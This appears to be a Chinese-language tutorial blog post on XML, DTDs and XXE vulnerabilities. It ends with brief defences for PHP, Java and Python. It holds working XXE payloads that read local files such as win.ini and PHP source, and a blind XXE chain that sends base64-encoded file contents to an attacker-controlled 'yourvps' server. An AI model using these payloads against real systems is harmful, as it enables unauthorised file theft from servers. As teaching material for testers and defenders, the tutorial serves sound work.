XML
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
语法:
1、所有 XML 元素都须有关闭标签
2、XML 标签对大小写敏感
3、XML 必须正确地嵌套
4、XML 文档必须有根元素
5、XML 的属性值须加引号
6、在 XML 中,空格会被保留
DTD 介绍
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
DTD在XML文档内部和外部的声明:https://www.runoob.com/dtd/dtd-intro.html
DTD元素的声明:https://www.runoob.com/dtd/dtd-elements.html
XXE漏洞
找到注入点后
第一步:先判断是否能执行xml
测试代码:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is wakawaka">]>
<root>&name;</root>
显示 my name is wakawaka 说明可以执行xml。
第二步:测试是否可以引用外部实体:
测试代码:
扫描二维码关注公众号,回复:
11118224 查看本文章
可以测试能否读取靶机文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "file:///C:/windows/win.ini">
]>
<root>&name;</root>
或者访问自己搭的vps(公网服务器):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "http://ip/index.html">
]>
<root>&name;</root>
查看vps的日志来判断是否收到一条请求index.html的请求。
第三步:判断是否可以回显
1. 有回显:可以直接利用
例:获取敏感文件:
<?xml version= "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "file:///C:/windows/win.ini">
]>
<root>&name;</root>
如果需要读取php文件,需要经过base64加密后读取出来:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name SYSTEM "php://filter/read/convert.base64-encode/resource=index.php">
]>
<root>&name;</root>
2、无回显:使用blind xxe 攻击方法
流程 :
vps上的xxe.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>
整个的调用过程如下:解析时%dtd引入xxe.xml,之后%all引入send的定义,最后引用了实体send,把%file文件内容通过一个http请求发了出去。注意需要把payload经过url编码。
然后在服务器的log中看到base64加密后的内容
防御:
php:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
或者是将关键词 ex:`DOCYPE,ENTITY`进行过滤。